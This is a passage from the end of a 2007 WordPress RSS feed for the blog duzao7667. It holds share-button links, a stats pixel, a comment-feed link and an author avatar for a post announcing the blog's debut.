src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/5/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=5&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2007/08/05/estreia-do-blog/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
	</channel>
</rss>
